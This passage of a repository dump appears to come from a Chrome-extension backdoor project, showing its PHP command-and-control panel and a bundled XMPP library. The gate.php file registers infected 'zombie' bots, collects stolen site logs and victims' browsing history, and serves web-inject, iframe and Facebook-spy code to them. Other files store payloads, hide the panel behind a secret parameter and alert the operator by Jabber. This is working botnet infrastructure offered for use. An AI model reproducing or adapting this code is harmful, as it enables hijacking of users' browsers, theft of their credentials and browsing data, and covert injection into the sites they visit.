VALUES(:name, :value, :bot_id)"); 105 | $insert->bindParam(':name', $setting_name); 106 | $insert->bindParam(':value', $setting_value); 107 | $insert->bindParam(':bot_id', $bot_id); 108 | $insert->execute(); 109 | return true; 110 | 111 | } 112 | 113 | public function changeSettingStatus($z_name, $setting_name){ 114 | global $bdd; 115 | $select = $bdd->prepare("SELECT * FROM bot_settings WHERE bot_id = :bot_id AND setting_name = :name"); 116 | $select->bindParam(':bot_id', $z_name); 117 | $select->bindParam(':name', $setting_name); 118 | $select->execute(); 119 | if($select->rowCount() > 0){ 120 | $result = $select->fetch(); 121 | if($result['available'] == '0'){ 122 | $update = $bdd->prepare("UPDATE bot_settings SET available = '1' WHERE bot_id = :bot_id AND setting_name = :name"); 123 | $update->bindParam(':bot_id', $z_name); 124 | $update->bindParam(':name', $setting_name); 125 | $update->execute(); 126 | return true; 127 | } 128 | elseif($result['available'] == '1'){ 129 | $update = $bdd->prepare("UPDATE bot_settings SET available = '0' WHERE bot_id = :bot_id AND setting_name = :name"); 130 | $update->bindParam(':bot_id', $z_name); 131 | $update->bindParam(':name', $setting_name); 132 | $update->execute(); 133 | return true; 134 | } 135 | return false; 136 | } 137 | return false; 138 | } 139 | } -------------------------------------------------------------------------------- /backdoor/web/class/bot_logout.php: -------------------------------------------------------------------------------- 1 | query("UPDATE bots SET online = '0'"); 4 | ?> -------------------------------------------------------------------------------- /backdoor/web/class/inject.class.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT * FROM webinject WHERE webinject_site = :site"); 13 | $select->bindParam(':site', $webinject_site); 14 | $select->execute(); 15 | if($select->rowCount() < 1){ 16 | $insert = $bdd->prepare("INSERT INTO webinject(webinject_site, webinject_code) VALUES(:site, :code)"); 17 | $insert->bindParam(':site', $webinject_site); 18 | $insert->bindParam(':code', $base64); 19 | $insert->execute(); 20 | echo "Inject inserted"; 21 | } 22 | else{ 23 | echo "This inject already exists"; 24 | } 25 | } 26 | } 27 | } 28 | 29 | static function show_inject($id = NULL){ 30 | if($id != NULL){ 31 | global $bdd; 32 | $select = $bdd->prepare("SELECT * FROM webinject WHERE webinject_site = :id"); 33 | $select->bindParam(':id', $id); 34 | $select->execute(); 35 | if($select->rowCount() > 0){ 36 | $fetch = $select->fetch(); 37 | echo "%site%".$fetch['webinject_site']."%site%"; 38 | echo "%content%".base64_decode($fetch['webinject_code'])."%content%"; 39 | } 40 | else{ 41 | echo "[Not found]"; 42 | } 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /backdoor/web/class/payload.class.php: -------------------------------------------------------------------------------- 1 | name = $name; 12 | } 13 | 14 | function setUrl($url) 15 | { 16 | $this->url_verif = base64_encode($url); 17 | } 18 | 19 | function setCode($code) 20 | { 21 | $this->code_inject = base64_encode($code); 22 | } 23 | 24 | function insertpayload() 25 | { 26 | global $bdd; 27 | $insert = $bdd->prepare("INSERT INTO payloads(name,urlverif,codeinject) VALUES(:name, :urlverif, :codeinject)"); 28 | $insert->bindParam(':name', $this->name); 29 | $insert->bindParam(':urlverif', $this->url_verif); 30 | $insert->bindParam(':codeinject', $this->code_inject); 31 | $insert->execute(); 32 | $this->status = "
Payload inserted .
"; 33 | } 34 | 35 | static function getPayload(){ 36 | global $bdd; 37 | $select = $bdd->prepare("SELECT * FROM payloads ORDER BY id ASC"); 38 | $select->execute(); 39 | if($select->rowCount() > 0){ 40 | while($payload = $select->fetch()){ 41 | ?> 42 | 43 | 44 | launched 45 | '>delete 46 | 47 | 52 | 53 | 54 | Not payload found 55 | 56 | 57 | prepare("SELECT * FROM payloads WHERE id = :id"); 65 | $select->bindParam(':id', $p_id); 66 | $select->execute(); 67 | if($select->rowCount() > 0){ 68 | $delete = $bdd->prepare("DELETE FROM payloads WHERE id = :id"); 69 | $delete->bindParam(':id', $p_id); 70 | $delete->execute(); 71 | return true; 72 | } 73 | 74 | } 75 | return false; 76 | } 77 | } 78 | ?> -------------------------------------------------------------------------------- /backdoor/web/class/users.class.php: -------------------------------------------------------------------------------- 1 | prepare("SELECT * FROM utilisateurs WHERE username = :username AND password = :password"); 14 | $select_users->bindParam(':username', $username); 15 | $select_users->bindParam(':password', $password); 16 | $select_users->execute(); 17 | 18 | $fetch = $select_users->fetch(); 19 | if($fetch['username'] != '') 20 | { 21 | $_SESSION['username'] = $fetch['username']; 22 | $this->status = "
Login Success .. Click here
"; 23 | } 24 | else 25 | $this->status = "
Login failed .
"; 26 | } 27 | } -------------------------------------------------------------------------------- /backdoor/web/css/styles.css: -------------------------------------------------------------------------------- 1 | .main { 2 | margin-top: 10px; 3 | margin-left: auto; 4 | margin-right: auto; 5 | width 900px; 6 | } 7 | .logo 8 | { 9 | background-size: 100px 74px; 10 | background-image: url('../images/logo.png'); 11 | height: 70px; 12 | background-repeat: no-repeat; 13 | text-align: center; 14 | margin-left: auto; 15 | margin-right: auto; 16 | width: 100px; 17 | } 18 | .loginform { 19 | margin-left: auto; 20 | margin-right: auto; 21 | width: 500px; 22 | text-align: center; 23 | margin-top: 30px; 24 | min-height: 100px; 25 | } 26 | 27 | .command 28 | { 29 | width: 100%; 30 | margin-bottom: 20px; 31 | } 32 | 33 | .zombie{ 34 | text-decoration: none; 35 | color: firebrick; 36 | } 37 | 38 | .capture{ 39 | width:300px; 40 | } 41 | 42 | .uform { 43 | padding-left: 5px; 44 | width: 100%; 45 | height: 30px; 46 | background-color: white; 47 | margin-top: 5px; 48 | } 49 | 50 | .status{ 51 | width: 20px; 52 | height: 20px; 53 | } 54 | 55 | .sform 56 | { 57 | width: 50%; 58 | margin-top: 10px; 59 | background-color: white; 60 | border: 1px solid rgba(128, 128, 128, 0.48); 61 | } 62 | 63 | .alertr 64 | { 65 | width: 500px; 66 | margin-left: auto; 67 | margin-right: auto; 68 | margin-top: 10px; 69 | height: 30px; 70 | text-align: center; 71 | padding-top: 10px; 72 | background-color: #c0392b; 73 | } 74 | 75 | .alertg 76 | { 77 | width: 500px; 78 | margin-left: auto; 79 | margin-right: auto; 80 | margin-top: 10px; 81 | height: 30px; 82 | text-align: center; 83 | padding-top: 10px; 84 | background-color: #27ae60 85 | } 86 | 87 | .panel { 88 | width: 1000px; 89 | margin-left: auto; 90 | margin-right: auto; 91 | margin-top: 15px; 92 | } 93 | 94 | .formlog { 95 | border:0px; 96 | } 97 | 98 | .conversationActuel { 99 | padding-bottom: 10px; 100 | max-width: 700px; 101 | width: 100%; 102 | border: 1px solid #0F4098; 103 | margin-left: auto; 104 | margin-right: auto; 105 | max-height: 400px; 106 | overflow: scroll; 107 | } 108 | .message{ 109 | padding-top: 10px; 110 | height: 40px; 111 | margin-bottom: 10px; 112 | padding-left: 10px; 113 | padding-right: 10px; 114 | } 115 | .nameTitle { 116 | background-color: #4E69A2; 117 | height: 30px; 118 | color: white; 119 | padding: 4px; 120 | border-bottom: 1px solid black; 121 | margin-bottom: 5px; 122 | } 123 | 124 | .clear{ 125 | clear: both; 126 | } 127 | 128 | .message-right { 129 | font-size: 12px; 130 | padding-top: 5px; 131 | line-height: 15px; 132 | } 133 | 134 | .message-left { 135 | float: left; 136 | width: 45px; 137 | margin-right: 0px; 138 | } 139 | 140 | .oldmessage { 141 | display: none; 142 | } 143 | .message-left img{ 144 | width: 40px; 145 | } 146 | 147 | .message-rightOwner { 148 | float: left; 149 | text-align: right; 150 | width: 92%; 151 | padding-top: 5px; 152 | font-size: 12px; 153 | } 154 | 155 | .message-leftOwner { 156 | float: right; 157 | } 158 | 159 | .message-leftOwner img{ 160 | width: 40px; 161 | } 162 | 163 | .loading { 164 | display: block; 165 | background-image: url('../images/loading.gif'); 166 | height: 25px; 167 | background-repeat: no-repeat; 168 | background-size: 25px; 169 | text-align: center; 170 | width: 100%; 171 | background-position: center; 172 | } 173 | 174 | .windowCurrent { 175 | border: 1px solid #DEDEDE; 176 | height: 500px; 177 | max-width: 720px; 178 | } 179 | 180 | .windowCurrent img{ 181 | max-width: 710px; 182 | height: 500px; 183 | } 184 | 185 | .captureWindow { 186 | max-width: 700px !important; 187 | } 188 | -------------------------------------------------------------------------------- /backdoor/web/gate.php: -------------------------------------------------------------------------------- 1 | prepare("INSERT INTO logs_checker(url_site,logs_site,zombie) VALUES(:url_site, :logs_site, :zombie)"); 12 | $insert->bindParam(':url_site', $url_check); 13 | $insert->bindParam(':logs_site', $info); 14 | $insert->bindParam(':zombie', $z_name); 15 | $insert->execute(); 16 | 17 | 18 | $select = $bdd->prepare('SELECT * FROM bots WHERE name = :name'); 19 | $select->bindParam(':name', $z_name); 20 | $select->execute(); 21 | $result = $select->fetch(); 22 | if($result['name'] != ''){ 23 | $update = $bdd->prepare("UPDATE bots SET numbers_logs = numbers_logs + 1 WHERE name = :name"); 24 | $update->bindParam(':name', $z_name); 25 | $update->execute(); 26 | } 27 | $select_jabber = $bdd->prepare("SELECT * FROM settings"); 28 | $select_jabber->execute(); 29 | $fetch_jabber = $select_jabber->fetch(); 30 | if($fetch_jabber['jabber_username'] != ''){ 31 | $message = "News logs from ".$url_check; 32 | SendJabber($fetch_jabber['jabber_username'], $fetch_jabber['jabber_password'], $fetch_jabber['jabber_to'], $message); 33 | } 34 | } 35 | elseif(isset($_GET['iframe']) && $_GET['iframe'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){ 36 | $zombie = $_GET['zombie']; 37 | $object = "iframe"; 38 | 39 | $select = $bdd->prepare("SELECT * FROM bot_settings WHERE setting_name = :setting_name AND bot_id = :bot_id AND available = '1'"); 40 | $select->bindParam(':setting_name', $object); 41 | $select->bindParam(':bot_id', $zombie); 42 | $select->execute(); 43 | $result = $select->fetch(); 44 | if($result['setting_value'] != ''){ 45 | echo trim($result['setting_value']); 46 | return true; 47 | } 48 | return false; 49 | } 50 | elseif(isset($_GET['history']) && $_GET['history'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){ 51 | $history = $_GET['history']; 52 | $zombie = $_GET['zombie']; 53 | $time = date('d-m-Y'); 54 | 55 | 56 | $select = $bdd->prepare("SELECT * FROM history_web WHERE website = :website AND zombie = :zombie"); 57 | $select->bindParam(':website', $history); 58 | $select->bindParam(':zombie', $zombie); 59 | $select->execute(); 60 | $result = $select->fetch(); 61 | if($result['website'] != ''){ 62 | exit(1); 63 | } 64 | 65 | $insert = $bdd->prepare("INSERT INTO history_web(website, zombie, timevisit) VALUES(:website, :zombie, :time)"); 66 | $insert->bindParam(':website', $history); 67 | $insert->bindParam(':zombie', $zombie); 68 | $insert->bindParam(':time', $time); 69 | $insert->execute(); 70 | } 71 | elseif(isset($_GET['last']) && $_GET['last'] != '') 72 | { 73 | $select_last = $bdd->prepare("SELECT * FROM logs_checker WHERE last = '0' ORDER BY id DESC LIMIT 0,1"); 74 | $select_last->execute(); 75 | 76 | $fetch = $select_last->fetch(); 77 | if($fetch['id'] != '') 78 | { 79 | $end = "Url : ".$fetch['url_site']."\nLogs : ".$fetch['logs_site']; 80 | 81 | $update = $bdd->prepare("UPDATE logs_checker SET last = '1' WHERE id = :id"); 82 | $id = $fetch['id']; 83 | $update->bindParam(':id', $id); 84 | $update->execute(); 85 | echo $end; 86 | } 87 | } 88 | elseif(isset($_GET['add']) && $_GET['add'] != '' && isset($_GET['version']) && $_GET['version'] != '') 89 | { 90 | $zombie_name = $_GET['add']; 91 | $backdoor_name = $_GET['version']; 92 | $check = $bdd->prepare("SELECT * FROM bots WHERE name =:name"); 93 | $check->bindParam(':name', $zombie_name); 94 | $check->execute(); 95 | $result = $check->fetch(); 96 | if($result['name'] == ''){ 97 | $insert = $bdd->prepare("INSERT INTO bots(name,backdoor_name) VALUES(:name, :backdoor_name)"); 98 | $insert->bindParam(':name', $zombie_name); 99 | $insert->bindParam(':backdoor_name', $backdoor_name); 100 | $insert->execute(); 101 | } 102 | } 103 | elseif(isset($_GET['online']) && $_GET['online'] != ''){ 104 | $zombie = $_GET['online']; 105 | $online = $bdd->prepare("UPDATE bots SET online = '1' WHERE name = :name"); 106 | $online->bindParam(':name', $zombie); 107 | $online->execute(); 108 | } 109 | elseif(isset($_GET['webinject']) && $_GET['webinject'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){ 110 | WebInject::show_inject($_GET['webinject']); 111 | } 112 | elseif(isset($_GET['source_spy']) && $_GET['source_spy'] != ''){ 113 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id"); 114 | $select->bindParam(':id', $_GET['source_spy']); 115 | $select->execute(); 116 | if($select->rowCount() > 0){ 117 | $fetch = $select->fetch(); 118 | if($fetch['source_code'] != ''){ 119 | echo base64_decode($fetch['source_code']); 120 | } 121 | } 122 | } 123 | elseif(isset($_POST['add_source_spy']) && $_POST['add_source_spy'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){ 124 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name"); 125 | $select_id->bindParam(':name', $_POST['z_name']); 126 | $select_id->execute(); 127 | if($select_id->rowCount() > 0){ 128 | $fetch = $select_id->fetch(); 129 | $ids = $fetch['id']; 130 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id"); 131 | $select->bindParam(':id', $ids); 132 | $select->execute(); 133 | $date_last = date('d-m-Y'); 134 | if($select->rowCount() > 0){ 135 | $update = $bdd->prepare("UPDATE facebookspy SET source_code = :source_code,date_last = :date_last WHERE bot_id = :bot_id"); 136 | $update->bindParam(':source_code', $_POST['add_source_spy']); 137 | $update->bindParam(':bot_id', $ids); 138 | $update->bindParam(':date_last', $date_last); 139 | $update->execute(); 140 | } 141 | else{ 142 | $insert = $bdd->prepare("INSERT INTO facebookspy(bot_id,source_code,date_last) VALUES(:bot_id, :source_code,:date_last)"); 143 | $insert->bindParam(':bot_id', $ids); 144 | $insert->bindParam(':source_code', $_POST['add_source_spy']); 145 | $insert->bindParam(':date_last', $date_last); 146 | $insert->execute(); 147 | } 148 | } 149 | } 150 | elseif(isset($_POST['source']) && $_POST['source'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){ 151 | 152 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name"); 153 | $select_id->bindParam(':name', $_POST['z_name']); 154 | $select_id->execute(); 155 | if($select_id->rowCount() > 0){ 156 | $ids = $select_id->fetch()['id']; 157 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id"); 158 | $select->bindParam(':bot_id', $ids); 159 | $select->execute(); 160 | if($select->rowCount() < 1){ 161 | $insert = $bdd->prepare("INSERT INTO hijacking_window(bot_id,windows_code) VALUES(:bot_id, :source)"); 162 | $insert->bindParam(':bot_id', $ids); 163 | $insert->bindParam(':source', $_POST['source']); 164 | $insert->execute(); 165 | } 166 | else{ 167 | $update = $bdd->prepare("UPDATE hijacking_window SET windows_code = :source WHERE bot_id = :bot_id"); 168 | $update->bindParam(':source', $_POST['source']); 169 | $update->bindParam(':bot_id', $ids); 170 | $update->execute(); 171 | } 172 | } 173 | } 174 | elseif(isset($_GET['hijack_source']) && $_GET['hijack_source'] != '' && isset($_GET['id']) && $_GET['id'] != '') 175 | { 176 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id"); 177 | $select->bindParam(':bot_id', $_GET['id']); 178 | $select->execute(); 179 | if($select->rowCount() > 0){ 180 | $fetch = $select->fetch(); 181 | echo $fetch['windows_code']; 182 | } 183 | } 184 | ?> -------------------------------------------------------------------------------- /backdoor/web/images/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/loading.gif -------------------------------------------------------------------------------- /backdoor/web/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/logo.png -------------------------------------------------------------------------------- /backdoor/web/images/offline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/offline.png -------------------------------------------------------------------------------- /backdoor/web/images/online.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/online.png -------------------------------------------------------------------------------- /backdoor/web/includes/config.php: -------------------------------------------------------------------------------- 1 | __VERSION__){ 8 | echo "New version available on : https://github.com/graniet/chromebackdoor/
"; 9 | exit(1); 10 | } 11 | } 12 | 13 | function hide(){ 14 | global $bdd; 15 | $select = $bdd->prepare("SELECT * FROM settings"); 16 | $select->execute(); 17 | if($select->rowCount() > 0){ 18 | $result = $select->fetch(); 19 | if($result['hide_panel'] == '1' && $result['get_name'] != '' && $result['get_value'] != '' && !isset($_SESSION['username']) && !isset($_POST['login'])){ 20 | if(!isset($_GET[$result['get_name']]) || $_GET[$result['get_name']] != $result['get_value']){ 21 | exit(); 22 | } 23 | } 24 | } 25 | } 26 | 27 | function right_user($username){ 28 | global $bdd; 29 | $logs_right = array(0 => array('all'), 30 | 1 => array('panel'), 31 | 2 => array('')); 32 | $select = $bdd->prepare("SELECT * FROM utilisateurs WHERE username = :username"); 33 | $select->bindParam(':username', $username); 34 | $select->execute(); 35 | if($select->rowCount() > 0){ 36 | $fetch = $select->fetch(); 37 | if($fetch['username'] == $username){ 38 | $droit = $fetch['roles']; 39 | if(isset($logs_right[$droit]) && $logs_right[$droit][0] != 'all'){ 40 | if(!in_array($_GET['action'], $logs_right[$droit])){ 41 | echo "
Forbiden contact botmaster
"; 42 | exit(1); 43 | } 44 | } 45 | } 46 | } 47 | } 48 | 49 | function SendJabber($jabber_username, $jabber_password, $jabber_to, $message){ 50 | require_once "lib/XMPPHP/XMPP.php"; 51 | $username = explode('@', $jabber_username); 52 | $conn = new XMPPHP_XMPP($username[1], 5222, $username[0], 'testtest31', 'ChromeBackdoor', $username[1], $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO); 53 | $conn->connect(); 54 | $conn->processUntil('session_start'); 55 | $conn->presence(); 56 | $conn->message($jabber_to, $message); 57 | $conn->disconnect(); 58 | } 59 | ?> 60 | -------------------------------------------------------------------------------- /backdoor/web/index.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | Chrome Panel 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 36 |
37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /backdoor/web/inject.js: -------------------------------------------------------------------------------- 1 | function Logout(){ 2 | console.log('Bot unlogged') 3 | $.get('class/bot_logout.php'); 4 | } 5 | setInterval(Logout,100000); -------------------------------------------------------------------------------- /backdoor/web/lib/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/lib/.DS_Store -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/BOSH.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | /** XMPPHP_XMLStream */ 30 | require_once dirname(__FILE__) . "/XMPP.php"; 31 | 32 | /** 33 | * XMPPHP Main Class 34 | * 35 | * @category xmpphp 36 | * @package XMPPHP 37 | * @author Nathanael C. Fritz 38 | * @author Stephan Wentz 39 | * @author Michael Garvin 40 | * @copyright 2008 Nathanael C. Fritz 41 | * @version $Id$ 42 | */ 43 | class XMPPHP_BOSH extends XMPPHP_XMPP { 44 | 45 | protected $rid; 46 | protected $sid; 47 | protected $http_server; 48 | protected $http_buffer = Array(); 49 | protected $session = false; 50 | 51 | public function connect($server, $wait='1', $session=false) { 52 | $this->http_server = $server; 53 | $this->use_encryption = false; 54 | $this->session = $session; 55 | 56 | $this->rid = 3001; 57 | $this->sid = null; 58 | if ($session) { 59 | $this->loadSession(); 60 | } 61 | if (!$this->sid) { 62 | $body = $this->__buildBody(); 63 | $body->addAttribute('hold', '1'); 64 | $body->addAttribute('to', $this->host); 65 | $body->addAttribute('route', "xmpp:{$this->host}:{$this->port}"); 66 | $body->addAttribute('secure', 'true'); 67 | $body->addAttribute('xmpp:version', '1.6', 'urn:xmpp:xbosh'); 68 | $body->addAttribute('wait', strval($wait)); 69 | $body->addAttribute('ack', '1'); 70 | $body->addAttribute('xmlns:xmpp', 'urn:xmpp:xbosh'); 71 | $buff = ""; 72 | xml_parse($this->parser, $buff, false); 73 | $response = $this->__sendBody($body); 74 | $rxml = new SimpleXMLElement($response); 75 | $this->sid = $rxml['sid']; 76 | } else { 77 | $buff = ""; 78 | xml_parse($this->parser, $buff, false); 79 | } 80 | } 81 | 82 | public function __sendBody($body=null, $recv=true) { 83 | if (!$body) { 84 | $body = $this->__buildBody(); 85 | } 86 | $ch = curl_init($this->http_server); 87 | curl_setopt($ch, CURLOPT_HEADER, 0); 88 | curl_setopt($ch, CURLOPT_POST, 1); 89 | curl_setopt($ch, CURLOPT_POSTFIELDS, $body->asXML()); 90 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 91 | $header = array('Accept-Encoding: gzip, deflate', 'Content-Type: text/xml; charset=utf-8'); 92 | curl_setopt($ch, CURLOPT_HTTPHEADER, $header); 93 | curl_setopt($ch, CURLOPT_VERBOSE, 0); 94 | $output = ''; 95 | if ($recv) { 96 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 97 | $output = curl_exec($ch); 98 | $this->http_buffer[] = $output; 99 | } 100 | curl_close($ch); 101 | return $output; 102 | } 103 | 104 | public function __buildBody($sub=null) { 105 | $xml = new SimpleXMLElement(""); 106 | $xml->addAttribute('content', 'text/xml; charset=utf-8'); 107 | $xml->addAttribute('rid', $this->rid); 108 | $this->rid += 1; 109 | if ($this->sid) 110 | $xml->addAttribute('sid', $this->sid); 111 | #if($this->sid) $xml->addAttribute('xmlns', 'http://jabber.org/protocol/httpbind'); 112 | $xml->addAttribute('xml:lang', 'en'); 113 | if ($sub) { // ok, so simplexml is lame 114 | $p = dom_import_simplexml($xml); 115 | $c = dom_import_simplexml($sub); 116 | $cn = $p->ownerDocument->importNode($c, true); 117 | $p->appendChild($cn); 118 | $xml = simplexml_import_dom($p); 119 | } 120 | return $xml; 121 | } 122 | 123 | public function __process() { 124 | if ($this->http_buffer) { 125 | $this->__parseBuffer(); 126 | } else { 127 | $this->__sendBody(); 128 | $this->__parseBuffer(); 129 | } 130 | } 131 | 132 | public function __parseBuffer() { 133 | while ($this->http_buffer) { 134 | $idx = key($this->http_buffer); 135 | $buffer = $this->http_buffer[$idx]; 136 | unset($this->http_buffer[$idx]); 137 | if ($buffer) { 138 | $xml = new SimpleXMLElement($buffer); 139 | $children = $xml->xpath('child::node()'); 140 | foreach ($children as $child) { 141 | $buff = $child->asXML(); 142 | $this->log->log("RECV: $buff", XMPPHP_Log::LEVEL_VERBOSE); 143 | xml_parse($this->parser, $buff, false); 144 | } 145 | } 146 | } 147 | } 148 | 149 | public function send($msg) { 150 | $this->log->log("SEND: $msg", XMPPHP_Log::LEVEL_VERBOSE); 151 | $msg = new SimpleXMLElement($msg); 152 | #$msg->addAttribute('xmlns', 'jabber:client'); 153 | $this->__sendBody($this->__buildBody($msg), true); 154 | #$this->__parseBuffer(); 155 | } 156 | 157 | public function reset() { 158 | $this->xml_depth = 0; 159 | unset($this->xmlobj); 160 | $this->xmlobj = array(); 161 | $this->setupParser(); 162 | #$this->send($this->stream_start); 163 | $body = $this->__buildBody(); 164 | $body->addAttribute('to', $this->host); 165 | $body->addAttribute('xmpp:restart', 'true', 'urn:xmpp:xbosh'); 166 | $buff = ""; 167 | $response = $this->__sendBody($body); 168 | $this->been_reset = true; 169 | xml_parse($this->parser, $buff, false); 170 | } 171 | 172 | public function loadSession() { 173 | if (isset($_SESSION['XMPPHP_BOSH_RID'])) 174 | $this->rid = $_SESSION['XMPPHP_BOSH_RID']; 175 | if (isset($_SESSION['XMPPHP_BOSH_SID'])) 176 | $this->sid = $_SESSION['XMPPHP_BOSH_SID']; 177 | if (isset($_SESSION['XMPPHP_BOSH_authed'])) 178 | $this->authed = $_SESSION['XMPPHP_BOSH_authed']; 179 | if (isset($_SESSION['XMPPHP_BOSH_jid'])) 180 | $this->jid = $_SESSION['XMPPHP_BOSH_jid']; 181 | if (isset($_SESSION['XMPPHP_BOSH_fulljid'])) 182 | $this->fulljid = $_SESSION['XMPPHP_BOSH_fulljid']; 183 | } 184 | 185 | public function saveSession() { 186 | $_SESSION['XMPPHP_BOSH_RID'] = (string) $this->rid; 187 | $_SESSION['XMPPHP_BOSH_SID'] = (string) $this->sid; 188 | $_SESSION['XMPPHP_BOSH_authed'] = (boolean) $this->authed; 189 | $_SESSION['XMPPHP_BOSH_jid'] = (string) $this->jid; 190 | $_SESSION['XMPPHP_BOSH_fulljid'] = (string) $this->fulljid; 191 | } 192 | 193 | } 194 | -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/Exception.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | 30 | /** 31 | * XMPPHP Exception 32 | * 33 | * @category xmpphp 34 | * @package XMPPHP 35 | * @author Nathanael C. Fritz 36 | * @author Stephan Wentz 37 | * @author Michael Garvin 38 | * @copyright 2008 Nathanael C. Fritz 39 | * @version $Id$ 40 | */ 41 | class XMPPHP_Exception extends Exception { 42 | 43 | } 44 | -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/Log.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | 30 | /** 31 | * XMPPHP Log 32 | * 33 | * @package XMPPHP 34 | * @author Nathanael C. Fritz 35 | * @author Stephan Wentz 36 | * @author Michael Garvin 37 | * @copyright 2008 Nathanael C. Fritz 38 | * @version $Id$ 39 | */ 40 | class XMPPHP_Log { 41 | const LEVEL_ERROR = 0; 42 | const LEVEL_WARNING = 1; 43 | const LEVEL_INFO = 2; 44 | const LEVEL_DEBUG = 3; 45 | const LEVEL_VERBOSE = 4; 46 | 47 | /** 48 | * @var array 49 | */ 50 | protected $data = array(); 51 | /** 52 | * @var array 53 | */ 54 | protected $names = array('ERROR', 'WARNING', 'INFO', 'DEBUG', 'VERBOSE'); 55 | /** 56 | * @var integer 57 | */ 58 | protected $runlevel; 59 | /** 60 | * @var boolean 61 | */ 62 | protected $printout; 63 | 64 | /** 65 | * Constructor 66 | * 67 | * @param boolean $printout 68 | * @param string $runlevel 69 | */ 70 | public function __construct($printout = false, $runlevel = self::LEVEL_INFO) { 71 | $this->printout = (boolean) $printout; 72 | $this->runlevel = (int) $runlevel; 73 | } 74 | 75 | /** 76 | * Add a message to the log data array 77 | * If printout in this instance is set to true, directly output the message 78 | * 79 | * @param string $msg 80 | * @param integer $runlevel 81 | */ 82 | public function log($msg, $runlevel = self::LEVEL_INFO) { 83 | $time = time(); 84 | #$this->data[] = array($this->runlevel, $msg, $time); 85 | if ($this->printout and $runlevel <= $this->runlevel) { 86 | $this->writeLine($msg, $runlevel, $time); 87 | } 88 | } 89 | 90 | /** 91 | * Output the complete log. 92 | * Log will be cleared if $clear = true 93 | * 94 | * @param boolean $clear 95 | * @param integer $runlevel 96 | */ 97 | public function printout($clear = true, $runlevel = null) { 98 | if ($runlevel === null) { 99 | $runlevel = $this->runlevel; 100 | } 101 | foreach ($this->data as $data) { 102 | if ($runlevel <= $data[0]) { 103 | $this->writeLine($data[1], $runlevel, $data[2]); 104 | } 105 | } 106 | if ($clear) { 107 | $this->data = array(); 108 | } 109 | } 110 | 111 | protected function writeLine($msg, $runlevel, $time) { 112 | //echo date('Y-m-d H:i:s', $time)." [".$this->names[$runlevel]."]: ".$msg."\n"; 113 | echo $time . " [" . $this->names[$runlevel] . "]: " . $msg . "\n"; 114 | flush(); 115 | } 116 | 117 | } 118 | -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/Roster.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | 30 | /** 31 | * XMPPHP Roster Object 32 | * 33 | * @category xmpphp 34 | * @package XMPPHP 35 | * @author Nathanael C. Fritz 36 | * @author Stephan Wentz 37 | * @author Michael Garvin 38 | * @copyright 2008 Nathanael C. Fritz 39 | * @version $Id$ 40 | */ 41 | class Roster { 42 | 43 | /** 44 | * Roster array, handles contacts and presence. Indexed by jid. 45 | * Contains array with potentially two indexes 'contact' and 'presence' 46 | * @var array 47 | */ 48 | protected $roster_array = array(); 49 | 50 | /** 51 | * Constructor 52 | * 53 | */ 54 | public function __construct($roster_array = array()) { 55 | if ($this->verifyRoster($roster_array)) { 56 | $this->roster_array = $roster_array; //Allow for prepopulation with existing roster 57 | } else { 58 | $this->roster_array = array(); 59 | } 60 | } 61 | 62 | /** 63 | * 64 | * Check that a given roster array is of a valid structure (empty is still valid) 65 | * 66 | * @param array $roster_array 67 | */ 68 | protected function verifyRoster($roster_array) { 69 | #TODO once we know *what* a valid roster array looks like 70 | return True; 71 | } 72 | 73 | /** 74 | * 75 | * Add given contact to roster 76 | * 77 | * @param string $jid 78 | * @param string $subscription 79 | * @param string $name 80 | * @param array $groups 81 | */ 82 | public function addContact($jid, $subscription, $name='', $groups=array()) { 83 | $contact = array('jid' => $jid, 'subscription' => $subscription, 'name' => $name, 'groups' => $groups); 84 | if ($this->isContact($jid)) { 85 | $this->roster_array[$jid]['contact'] = $contact; 86 | } else { 87 | $this->roster_array[$jid] = array('contact' => $contact); 88 | } 89 | } 90 | 91 | /** 92 | * 93 | * Retrieve contact via jid 94 | * 95 | * @param string 